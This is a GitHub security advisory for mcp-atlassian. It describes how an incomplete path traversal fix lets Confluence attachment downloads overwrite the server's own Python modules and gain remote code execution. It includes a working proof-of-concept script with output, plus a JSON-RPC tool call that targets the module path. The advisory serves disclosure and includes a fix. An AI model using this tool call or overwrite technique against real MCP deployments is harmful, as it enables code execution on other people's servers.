GHSA-6VMQ-24H2-PJ7J

Vulnerability from github – Published: 2026-09-22 20:36 – Updated: 2026-09-22 20:36
VLAI
Summary
MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)
Details

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcp_atlassian/utils/io.py — validate_safe_path() defaults to CWD when no base_dir is supplied:

def validate_safe_path(path, base_dir=None) -> Path:
    if base_dir is None:
        base_dir = os.getcwd()       # root of the issue
    resolved_base = Path(base_dir).resolve(strict=False)
    ...
    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError("Path traversal detected")

Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:

validate_safe_path(target_path)   # line ~227, download_attachment()
validate_safe_path(target_dir)    # line ~270, download_content_attachments()

When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:

/app/src/mcp_atlassian/confluence/attachments.py  -> passes, no exception
/app/src/mcp_atlassian/servers/main.py            -> passes, no exception
/app/.env                                          -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validate_safe_path directly from the installed package, not a simulation of the function.

# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path  # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)

# Control: classic traversal is blocked
try:
    validate_safe_path("/etc/passwd")
except ValueError:
    print("[OK]     /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
    b"import os\n_PWNED=True\n"
    b"def get_secret():\n"
    b"    os.system('id')\n"
    b"    return 'PWNED'\n"
)
print("[WRITE]  Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)   # os.system('id') executes here

print(f"[RCE]    get_secret() = {repr(mod.get_secret())}")
print(f"[RCE]    _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir)
uvx --from mcp-atlassian python poc_bypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcp_atlassian.utils.io

[OK]     /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE]  Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE]    get_secret() = 'PWNED'
[RCE]    _PWNED = True

Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "confluence_download_attachment",
    "arguments": {
      "page_id":       "<page_id>",
      "attachment_id": "<malicious_attachment_id>",
      "download_path": "/app/src/mcp_atlassian/confluence/attachments.py"
    }
  }
}

validate_safe_path does not raise. The module is overwritten and the payload executes on the next process restart.

Impact

Affected versions: 0.17.0 through 0.21.0 (latest).

Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.

Suggested fix: pass a dedicated, explicitly configured directory as base_dir instead of relying on CWD:

_DOWNLOAD_BASE = Path(
    os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads")
).resolve()

validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:36:20Z",
    "nvd_published_at": "2026-09-22T18:17:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application\u0027s own Python source modules, pass validation without\nraising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions \u003e= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).\n\n### Details\n\n`src/mcp_atlassian/utils/io.py` \u2014 `validate_safe_path()` defaults to CWD when no `base_dir` is supplied:\n\n```python\ndef validate_safe_path(path, base_dir=None) -\u003e Path:\n    if base_dir is None:\n        base_dir = os.getcwd()       # root of the issue\n    resolved_base = Path(base_dir).resolve(strict=False)\n    ...\n    if not resolved_path.is_relative_to(resolved_base):\n        raise ValueError(\"Path traversal detected\")\n```\n\nBoth call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`:\n\n```python\nvalidate_safe_path(target_path)   # line ~227, download_attachment()\nvalidate_safe_path(target_dir)    # line ~270, download_content_attachments()\n```\n\nWhen the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules:\n\n```\n/app/src/mcp_atlassian/confluence/attachments.py  -\u003e passes, no exception\n/app/src/mcp_atlassian/servers/main.py            -\u003e passes, no exception\n/app/.env                                          -\u003e passes, no exception\n```\n\n### PoC\n\n**Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 \u2014 Confluence credentials with write access to at least one page, and network access to the MCP HTTP port.\nAdditionally requires Python 3.10+ and `uvx` to run the proof below.\n\nThe script imports `validate_safe_path` directly from the installed package, not a simulation of the function.\n\n```python\n# poc_bypass.py\nimport os, tempfile, shutil, importlib.util\nfrom pathlib import Path\nfrom mcp_atlassian.utils.io import validate_safe_path  # real package\n\nprint(f\"Module: {validate_safe_path.__module__}\")\n\n# Simulate /app (standard container CWD)\napp_dir = tempfile.mkdtemp(prefix=\"mcp_atlassian_app_\")\nmodule_dir = os.path.join(app_dir, \"src\", \"mcp_atlassian\")\nos.makedirs(module_dir)\nmodule_path = os.path.join(module_dir, \"attachments.py\")\nPath(module_path).write_text(\u0027def get_secret(): return \"LEGITIMATE\"\\n\u0027)\nos.chdir(app_dir)\n\n# Control: classic traversal is blocked\ntry:\n    validate_safe_path(\"/etc/passwd\")\nexcept ValueError:\n    print(\"[OK]     /etc/passwd blocked\")\n\n# Bypass: intra-CWD path passes without exception\nresult = validate_safe_path(module_path)\nprint(f\"[BYPASS] {result} - no exception raised\")\n\n# Overwrite module with attacker payload\n# (content sourced from a Confluence attachment uploaded by the attacker)\nPath(module_path).write_bytes(\n    b\"import os\\n_PWNED=True\\n\"\n    b\"def get_secret():\\n\"\n    b\"    os.system(\u0027id\u0027)\\n\"\n    b\"    return \u0027PWNED\u0027\\n\"\n)\nprint(\"[WRITE]  Module overwritten with malicious payload\")\n\n# Simulate process restart / module reload\nspec = importlib.util.spec_from_file_location(\"m\", module_path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)   # os.system(\u0027id\u0027) executes here\n\nprint(f\"[RCE]    get_secret() = {repr(mod.get_secret())}\")\nprint(f\"[RCE]    _PWNED = {mod._PWNED}\")\n\nshutil.rmtree(app_dir)\n```\n\n```bash\nuvx --from mcp-atlassian python poc_bypass.py\n```\n\n**Verified output (mcp-atlassian 0.21.0):**\n\n```\nModule: mcp_atlassian.utils.io\n\n[OK]     /etc/passwd blocked\n[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised\n[WRITE]  Module overwritten with malicious payload\nuid=1000(appuser) gid=1000(appuser) groups=1000(appuser)\n[RCE]    get_secret() = \u0027PWNED\u0027\n[RCE]    _PWNED = True\n```\n\n**Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"confluence_download_attachment\",\n    \"arguments\": {\n      \"page_id\":       \"\u003cpage_id\u003e\",\n      \"attachment_id\": \"\u003cmalicious_attachment_id\u003e\",\n      \"download_path\": \"/app/src/mcp_atlassian/confluence/attachments.py\"\n    }\n  }\n}\n```\n\n`validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart.\n\n### Impact\n\n**Affected versions:** 0.17.0 through 0.21.0 (latest).\n\nAttack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to \u003e= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default.\n\n**Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD:\n\n```python\n_DOWNLOAD_BASE = Path(\n    os.environ.get(\"MCP_DOWNLOAD_DIR\", \"/tmp/mcp-downloads\")\n).resolve()\n\nvalidate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)\n```",
  "id": "GHSA-6vmq-24h2-pj7j",
  "modified": "2026-09-22T20:36:20Z",
  "published": "2026-09-22T20:36:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…